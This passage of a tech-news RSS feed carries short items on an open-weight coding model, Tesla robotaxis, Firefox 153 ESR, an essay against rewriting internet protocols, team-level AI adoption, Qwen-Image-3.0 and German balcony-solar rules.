less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[Tesla Robotaxis Go To Florida]]></title>
<description><![CDATA[Tesla says it is launching its Robotaxi service in Orlando and Tampa, though it has not shared fleet sizes or whether customers can immediately hail rides. The Verge notes the announcement lands on Tesla earnings day and comes as the company's robotaxi rollout remains far smaller than Elon Musk p...]]></description>
<link>https://tsecurity.de/de/3684927/it-security-nachrichten/tesla-robotaxis-go-to-florida/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684927/it-security-nachrichten/tesla-robotaxis-go-to-florida/</guid>
<pubDate>Wed, 22 Jul 2026 00:14:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tesla says it is launching its Robotaxi service in Orlando and Tampa, though it has not shared fleet sizes or whether customers can immediately hail rides. The Verge notes the announcement lands on Tesla earnings day and comes as the company's robotaxi rollout remains far smaller than Elon Musk previously projected, with tracker data showing only a small number of unsupervised vehicles operating in existing cities. From the report: [B]ack in May, Tesla had five unsupervised robotaxis in Dallas, six in Houston, and 29 in Austin. As of today, there are only 17 unsupervised vehicles in Austin, four in Dallas, and zero in Houston, according to the Robotaxi Tracker. By comparison, Waymo is estimated to have over 3,500 fully driverless vehicles in operation across over 10 cities.
 
Like Waymo, Tesla typically introduces robotaxis to a new city with a safety driver behind the wheel. Unlike Waymo, sometimes Tesla moves that person over to the passenger seat with access to a kill switch should anything go wrong. The company has been inconsistent in how it rolls out its robotaxis to new markets. The numbers go up and down, with zero explanation from the company as to why.
 
[...] By adding new cities, Tesla is clearly trying to sell investors on the idea that its robotaxi project is growing. But the fluctuating fleet size, inconsistency in supervised vs unsupervised vehicles, and long wait times tell a very different story.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/21/2037254/tesla-robotaxis-go-to-florida?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[Firefox 153 Released]]></title>
<description><![CDATA[Longtime Slashdot reader williamyf writes: FireFox 153 was released today. The most important user-facing changes are improvements to PDF handling (you can now merge PDFs and add images to them), and HDR video playback (on Windows, provided HDR is active systemwide). Other under-the-hood changes ...]]></description>
<link>https://tsecurity.de/de/3684870/it-security-nachrichten/firefox-153-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684870/it-security-nachrichten/firefox-153-released/</guid>
<pubDate>Tue, 21 Jul 2026 23:13:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader williamyf writes: FireFox 153 was released today. The most important user-facing changes are improvements to PDF handling (you can now merge PDFs and add images to them), and HDR video playback (on Windows, provided HDR is active systemwide). Other under-the-hood changes include browser-wide containers and QWAC support. The full list is in the change notes.

 But the most important feature is that this version is an ESR and, therefore, defines the ESR feature set for the next year. Why is being an ESR so important, you ask?

 1.) ESR, rather than "normal" (a.k.a. Rapid Release), Firefox is the out-of-the-box browser for many important distros, including Debian, RHEL, Kali, Tails, SUSE Linux Enterprise, Slackware, and others.

 2.) Many organizations, large and small, standardize on Firefox ESR as their default browser, regardless of the default browser included with their OS.

 3.) Firefox ESR is the basis for many downstream projects, such as Waterfox and KaiOS. All these projects will inherit, for a year, whatever ESR brings to the table today.

 4.) Many ISVs and SaaS providers, if they certify their wares for Firefox at all, certify for the ESR version only.

 Please note that ESR 153 will not be offered as an automatic update until two months from now (ESR 140 will still be supported). If you want it now, you will need to download and install it manually.

 Also of note, ESR 115 will be supported until March 2027. If you use an unsupported version of macOS or Windows (like Windows 7 or 8.x), this is the version to get. However, even Mozilla cautions against running a supported browser on an unsupported OS: "Note that Microsoft ended official support for Windows 7, 8, and 8.1 in January 2023. Unsupported operating systems receive no security updates and have known vulnerabilities. Without official support from Microsoft, maintaining Firefox for outdated operating systems becomes costly for Mozilla and risky for users."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/21/2022247/firefox-153-released?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Invites update brings emoji replies and confetti to the party]]></title>
<description><![CDATA[A second update to Apple Invites for iOS in as many months adds two small changes: emoji replies and a pile of confetti.Apple Invites Apple has already made one update to the Apple Invites app this summer with some handy new features. Its second is smaller, but still quite celebratory in nature.T...]]></description>
<link>https://tsecurity.de/de/3684822/ios-mac-os/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684822/ios-mac-os/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party/</guid>
<pubDate>Tue, 21 Jul 2026 23:00:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A second update to Apple Invites for <a href="https://appleinsider.com/inside/ios" title="iOS" data-kpt="1">iOS</a> in as many months adds two small changes: emoji replies and a pile of confetti.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68318-144014-68044-143445-63760-132662-tiles-xl-xl-xl.jpg" alt="Bright yellow app icon showing an open envelope filled with colorful confetti dots on a solid yellow background" height="738"><br><span>Apple Invites </span></div><br>Apple has already made one update to the Apple Invites app this summer with some handy new features. Its second is smaller, but still quite celebratory in nature.<br><br>The release of <a href="https://apps.apple.com/gb/app/apple-invites/id6472498645">version 1.10</a> on the <a href="https://appleinsider.com/inside/app-store" title="App Store" data-kpt="1">App Store</a> explains there are two changes made to the app. The first is that the host and guests are able to reply to each other using emoji, rather than words.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/apple-invites-update-brings-emoji-replies-and-confetti-to-the-party?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245016?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<item>
<title><![CDATA[Martin Thompson: Why in Building Protocols, Like Code, Starting Over Is Dumb]]></title>
<description><![CDATA[Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.
This is somewhere between a pretty bad idea
and a horrible idea.
The wholesal...]]></description>
<link>https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</guid>
<pubDate>Tue, 21 Jul 2026 22:58:58 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.</p>
<p>This is somewhere between a pretty bad idea
and a horrible idea.</p>
<p>The wholesale replacement of a huge chunk of protocol architectures
is a hallmark of a lot of the AI-generated protocol proposals
that have flooded the IETF.
A small blemish is identified,
then the fix is a whole new protocol,
or a major piece of surgery.
No regard for the wisdom of Chesterton’s Fence
or the accumulated knowledge and usefulness embodied in what exists.</p>
<p>Experienced engineers know that rewriting a code module
is not something you do lightly.
There’s lots of literature out there about why this is a bad idea generally,
and some emerging discussion about how AI might just change that.</p>
<p>The reasons not to rewrite a software component still largely apply
to a protocol component.
The reasons that AI might make it easier to do that safely, less so.
Protocols are different.</p>
<h3>Wholesale Change Will Miss Use Cases</h3>
<p>Just like with a code change,
a protocol component that changes will miss use cases
that people really care about.</p>
<p>The usual concerns with code apply:</p>
<ul>
<li>The existing features you know about and can test for
can be handled.</li>
<li>The existing problems you know and care about can be fixed.</li>
<li>You inevitably introduce brand-new problems.</li>
<li>The existing features you don’t know about
get lost.</li>
</ul>
<p>Unlike code changes, you probably don’t have a test case
for existing features that you didn’t know about.
We found that with HTTP/2,
where a number of use cases got lost in the process
of “upgrading” HTTP.</p>
<p>In HTTP/1.1,
performing client authentication
in the middle of request was possible.
Losing that capability in HTTP/2
affected few enough people
that it was not badly damaging for the ecosystem.
It still sucked.</p>
<p>A lot of work was done to try to find these issues,
but we did not learn about these problems until fairly late in the process.</p>
<p>Proposing a protocol change means asking a whole lot of other people,
many of whom are not invested in your goals,
to do that work.</p>
<p>Changing a protocol by replacing a chunk of it,
no matter how much care is taken,
either asks the entire ecosystem to change with you.</p>
<p>That means asking everyone to move with you.
If they don’t, you are not changing the protocol,
you are forking it.</p>
<h3>Forking A Protocol Destroys Interoperability</h3>
<p>The real value of having a protocol like TLS
is that a great many things can all talk to each other.</p>
<p>Forking a protocol –
and sometimes profiling a protocol, a subject for another post –
destroys that.
You now have two ways to achieve the same goal,
and a choice to join one of two clubs.
You can join both, but that means constantly translating back and forth,
something that can only get harder over time
as protocol semantics diverge.</p>
<p>And yes, in case you were asking,
this applies to the entirety of the IETF IoT sphere,
which has parallel HTTP, TLS, and other analogues.
Ostensibly, these address the needs of highly constrained hardware,
but the cost is an ecosystem cut off from the mainstream.</p>
<h3>But Fixing Protocols Is Hard</h3>
<p>Yes, existing protocols come with baggage
or technical debt.
Maybe they aren’t perfectly optimized for your use.</p>
<p>The value that an existing protocol carries
is that you are sharing the burden of its maintenance
with a great many more people.
Fixing it, maybe by adding extensions to support your needs,
comes with opportunities to improve the protocol
even beyond that immediate need.
Every change is a chance to work off some of the accumulated cruft.</p>
<p>Major refreshes, like the TLS 1.3 reworking,
cleared out a ton of cruft in the process.
You get to benefit from the work that others do to improve that protocol too.</p>
<h3>Do the Work</h3>
<p>It is hard to be a responsible steward for the fabric of the Internet.
We do it because it is worthwhile.
Ignoring the lessons of the past is not helpful.</p>]]></content:encoded>
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<title><![CDATA[Rancho Cucamonga, Calif., Launches AI Wildfire Detection]]></title>
<description><![CDATA[Officials say the system can detect small brush fires 100 yards away and deliver pictures of the flames, their location and even a weather report in three seconds to public safety dispatchers.]]></description>
<link>https://tsecurity.de/de/3684612/ai-nachrichten/rancho-cucamonga-calif-launches-ai-wildfire-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684612/ai-nachrichten/rancho-cucamonga-calif-launches-ai-wildfire-detection/</guid>
<pubDate>Tue, 21 Jul 2026 20:20:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Officials say the system can detect small brush fires 100 yards away and deliver pictures of the flames, their location and even a weather report in three seconds to public safety dispatchers.]]></content:encoded>
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<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Ignore Apple, Pay the Price]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 Patrick Wardle shares the biggest lesson he learned after years of building macOS security tools: follow Apple's recommended development practices whenever possible.

Choosing unsupported techniques may seem like the better engine...]]></description>
<link>https://tsecurity.de/de/3684349/it-security-video/ignore-apple-pay-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684349/it-security-video/ignore-apple-pay-the-price/</guid>
<pubDate>Tue, 21 Jul 2026 18:19:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XwYHnlMnzm0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Patrick Wardle shares the biggest lesson he learned after years of building macOS security tools: follow Apple's recommended development practices whenever possible.<br />
<br />
Choosing unsupported techniques may seem like the better engineering decision at first, but platform changes often make those shortcuts expensive to maintain. Apple's evolving security model rewards developers who work with the platform instead of against it.<br />
<br />
Have you ever chosen the "clever" solution over the recommended one, and did it pay off—or create more work later?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#Apple #AppSec #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass]]></title>
<description><![CDATA[Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pas...]]></description>
<link>https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684305/ai-nachrichten/alibabas-qwen-image-30-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/</guid>
<pubDate>Tue, 21 Jul 2026 18:06:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1089" src="https://the-decoder.com/wp-content/uploads/2026/07/qwen-image-3-banner.jpg" class="attachment-full size-full wp-post-image" alt='Banner featuring the Qwen logo and the text "Qwen-Image-3.0," a multilingual text background arranged in a wave pattern, and a bear in a wooden boat.' decoding="async" fetchpriority="high"></p>
<p>        Alibaba's Qwen team has introduced Qwen-Image-3.0, an image generator that accepts prompts up to 4,500 tokens, renders legible text as small as ten pixels, and supports twelve languages natively. It can create complex layouts such as infographics, LaTeX papers, and newspaper pages in a single pass, though their practical value is unclear when the output is a pixel image rather than an editable format.</p>
<p>The article <a href="https://the-decoder.com/alibabas-qwen-image-3-0-renders-full-infographic-grids-and-readable-ten-pixel-text-in-a-single-pass/">Alibaba's Qwen-Image-3.0 renders full infographic grids and readable ten-pixel text in a single pass</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Darf man ein XXL-Balkonkraftwerk mit 4.000 Watt überhaupt installieren?]]></title>
<description><![CDATA[Der Begriff Balkonkraftwerk ist umgangssprachlich, das Gesetz spricht vom “Steckersolargerät”. Für die EEG-Sonderregeln müssen mehrere Voraussetzungen gleichzeitig erfüllt sein: Die installierte Modulleistung darf insgesamt höchstens 2.000 Wp, die Wechselrichterleistung höchstens 800 VA betragen....]]></description>
<link>https://tsecurity.de/de/3684190/windows-tipps/darf-man-ein-xxl-balkonkraftwerk-mit-4000-watt-ueberhaupt-installieren/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684190/windows-tipps/darf-man-ein-xxl-balkonkraftwerk-mit-4000-watt-ueberhaupt-installieren/</guid>
<pubDate>Tue, 21 Jul 2026 17:36:04 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Der Begriff Balkonkraftwerk ist umgangssprachlich, das Gesetz spricht vom “Steckersolargerät”. Für die EEG-Sonderregeln müssen mehrere Voraussetzungen gleichzeitig erfüllt sein: Die installierte Modulleistung darf insgesamt höchstens 2.000 Wp, die Wechselrichterleistung höchstens 800 VA betragen. Außerdem muss das System hinter der Entnahmestelle betrieben und der unentgeltlichen Abnahme zugeordnet werden.</p>



<p>Erfüllt das System diese Voraussetzungen, profitiert der Betreiber von erheblichen Vereinfachungen:</p>



<p>Die Anlage muss im <a href="https://www.pcwelt.de/article/2682899/so-melden-sie-ein-balkonkraftwerk-an.html" target="_blank" rel="noreferrer noopener">Marktstammdatenregister der Bundesnetzagentur</a> registriert werden; eine separate Meldung beim Netzbetreiber entfällt.</p>



<p>Aufbau und mechanische Montage können Nutzer grundsätzlich selbst übernehmen. Für den elektrischen Anschluss gelten jedoch zusätzliche Vorgaben, die sich insbesondere nach Modulleistung und Anschlussart richten. Ein Anschluss über eine gewöhnliche Haushaltssteckdose ist nach der neuen Produktnorm nur bei entsprechend ausgeführten Systemen und bis maximal 960 Wp vorgesehen.</p>



<p>Überschreitet das System eine der gesetzlichen Grenzen, entfallen die besonderen Vereinfachungen für Steckersolargeräte. Gemeint sind vor allem höchstens 2.000 Wp installierte Modulleistung und höchstens 800 VA Wechselrichterleistung. Beide Werte müssen gleichzeitig eingehalten werden.</p>



<p>Ein Set mit acht 500-Watt-Modulen kommt beispielsweise auf 4.000 Wp. Selbst wenn der Wechselrichter die Abgabe ins Hausnetz auf 800 VA begrenzt, liegt die Modulleistung doppelt so hoch wie die gesetzliche Obergrenze. Das System gilt deshalb nicht mehr als privilegiertes Steckersolargerät, sondern als reguläre Erzeugungsanlage. Es muss zusätzlich beim Netzbetreiber angemeldet werden, und Anschluss sowie Inbetriebnahme gehören in die Hände eines Elektrofachbetriebs. Die konkreten technischen Anforderungen richten sich dabei weiterhin nach dem Aufbau des Systems, der Wechselrichterleistung, dem Speicher und dem vorgesehenen Messkonzept.</p>



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<h2 class="wp-block-heading toc">Was die neuen VDE-Regeln 2026 ändern – und was nicht</h2>



<p>Für Verwirrung sorgen derzeit zwei Neuerungen. Die im Dezember 2025 veröffentlichte <a href="https://www.dke.de/de/arbeitsfelder/energy/normenhinweise/faq-zur-dinvdev012695" target="_blank" rel="noreferrer noopener">DIN VDE V 0126-95</a> definiert erstmals Sicherheitsanforderungen an komplette Steckersolargeräte. Speichersysteme fallen bislang nicht in den Anwendungsbereich dieses ersten Normenteils.</p>



<p>Ein Anschluss über einen gewöhnlichen Schutzkontaktstecker ist nach der neuen Produktnorm nur bei entsprechend ausgeführten Systemen mit höchstens 960 Wp Gesamtmodulleistung vorgesehen. Steckerfertige Systeme mit bis zu 2.000 Wp benötigen danach eine spezielle Energiesteckvorrichtung.</p>



<p>Ende Februar 2026 wurde die vollständig überarbeitete <a href="https://www.vde.com/de/fnn/themen/tar/tar-niederspannung/erzeugungsanlagen-am-niederspannungsnetz-vde-ar-n-4105-2018" target="_blank" rel="noreferrer noopener">VDE-AR-N 4105:2026-03</a> veröffentlicht. Für Anlagen bis insgesamt 800 VA Wechselrichterleistung sieht die neue Anschlussregel einen vereinfachten Prozess vor, bei dem auch der Anschlussnutzer das Formular einreichen kann.</p>



<p>Das vereinfachte Formular ersetzt jedoch nicht die fachgerechte elektrische Installation. Bei einer Anlage mit mehr als 2.000 Wp dürfen Anschluss und Inbetriebnahme nicht in Eigenregie erfolgen. Auch bei Speichersystemen müssen die für den jeweiligen Aufbau geltenden Anschluss- und Installationsregeln eingehalten werden.</p>



<p>Vereinzelt ist deshalb von Balkonkraftwerken mit mehreren Kilowatt Modulleistung die Rede. Solche Darstellungen vermischen jedoch den technisch vereinfachten Anschlussprozess mit den gesetzlichen Voraussetzungen für ein Steckersolargerät.</p>



<p>Maßgeblich für den vereinfachten VDE-Prozess ist insbesondere eine Wechselrichterleistung von höchstens 800 VA. Oberhalb von 2.000 Wp bleibt jedoch eine Elektrofachkraft erforderlich, und die EEG-Sonderregeln gelten nicht mehr.</p>



<p>Wer mehr Modulleistung installiert, verliert die besonderen Steckersolar-Privilegien – insbesondere den vereinfachten Netzanschluss ohne separate Meldung beim Netzbetreiber –, auch wenn die Einspeiseleistung des Wechselrichters auf 800 VA begrenzt ist. Die Grenze von 800 VA Wechselrichterleistung und die Grenze von 2.000 Wp Modulleistung sind zwei voneinander unabhängige Voraussetzungen.</p>



<h2 class="wp-block-heading toc">4.000 Watt sind erlaubt – aber nicht als Balkonkraftwerk</h2>



<p>Die eingangs gestellte Frage lässt sich damit klar beantworten: Ja, Sie dürfen ein XXL-Set mit 4.000 Watt installieren. Verboten ist das nicht. Sie betreiben damit aber eine reguläre PV-Anlage und müssen deren Spielregeln einhalten.</p>



<p>Dazu gehören die Anmeldung beim Netzbetreiber, der Eintrag im Marktstammdatenregister und ein geeignetes Messkonzept. Ein alter Ferraris-Zähler ohne Rücklaufsperre muss bei einer regulären PV-Anlage grundsätzlich gegen einen geeigneten Zähler ausgetauscht werden. Meist installiert der Messstellenbetreiber dafür eine moderne Messeinrichtung als Zweirichtungszähler; ein intelligentes Messsystem mit Smart-Meter-Gateway ist nur erforderlich, wenn die gesetzlichen Einbauvorgaben oder das jeweilige Messkonzept dies vorsehen. Die Übergangsregel, nach der sich ein alter Zähler bei einem privilegierten Steckersolargerät vorübergehend rückwärts drehen darf, lässt sich nicht ohne Weiteres auf eine reguläre 4.000-Wp-Anlage übertragen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f91ccd5905"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/AVM_FRITZSmart_Energy_250_Stromzaehler-3.jpg?quality=50&amp;strip=all" alt="Fritz Smart Energy 250" class="wp-image-3195902" width="1024" height="576" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Fritz</p></div>



<p>Der wichtigste Unterschied betrifft die Installation: Anschluss und Inbetriebnahme gehören bei dieser Anlagengröße in die Hände einer Elektrofachkraft. Der Selbstanschluss per Steckdose, der das Balkonkraftwerk so beliebt gemacht hat, ist hier nicht mehr vorgesehen.</p>



<p>Eine nicht ordnungsgemäß angemeldete oder nicht fachgerecht installierte Anlage kann Nachforderungen des Netzbetreibers, eine Untersagung des Betriebs und je nach Verstoß weitere rechtliche Folgen auslösen. Bei einem Schaden kann eine normwidrige Installation zudem die Regulierung durch Versicherer erschweren.</p>



<p><em><strong>Unsere Empfehlungen:</strong></em><br><a href="https://www.solakon.de/products/onpower-plus?utm_source=affiliate&amp;utm_medium=cpo&amp;utm_campaign=pcwelt&amp;ref=yneijbuy" target="_blank" rel="noreferrer noopener">4000 Watt Solaranlage bei Solakon (mit 2,11-kWh-Speicher für 1.300 Euro)</a><br><a href="https://t.adcell.com/p/click?promoId=339459&amp;slotId=72749&amp;param0=https://kleineskraftwerk.de/products/okta-xl-4000wp-balkonkraftwerk-mit-speicher-anker-solix-solarbank-4-pro&amp;subId=rss" target="_blank" rel="noreferrer noopener">4000 Watt Solaranlage bei Kleines Kraftwerk (mit 5,02-kWh-Speicher für 2.269 Euro)</a></p>



<h2 class="wp-block-heading toc">Warum mehr Module, wenn nur 800 VA eingespeist werden dürfen?</h2>



<p>Auf den ersten Blick wirkt eine 4.000-Watt-Anlage mit einem auf 800 VA begrenzten Ausgang widersinnig. Der Schlüssel ist der Speicher: Bei vielen DC-gekoppelten Systemen fließt die Energie der Solarmodule zunächst in eine Speicher- und Steuereinheit.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5f91ccd624b"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/05/Zendure_Solarflow2400Pro_02.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Zendure Solarflow2400Pro 02" class="wp-image-3151905" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
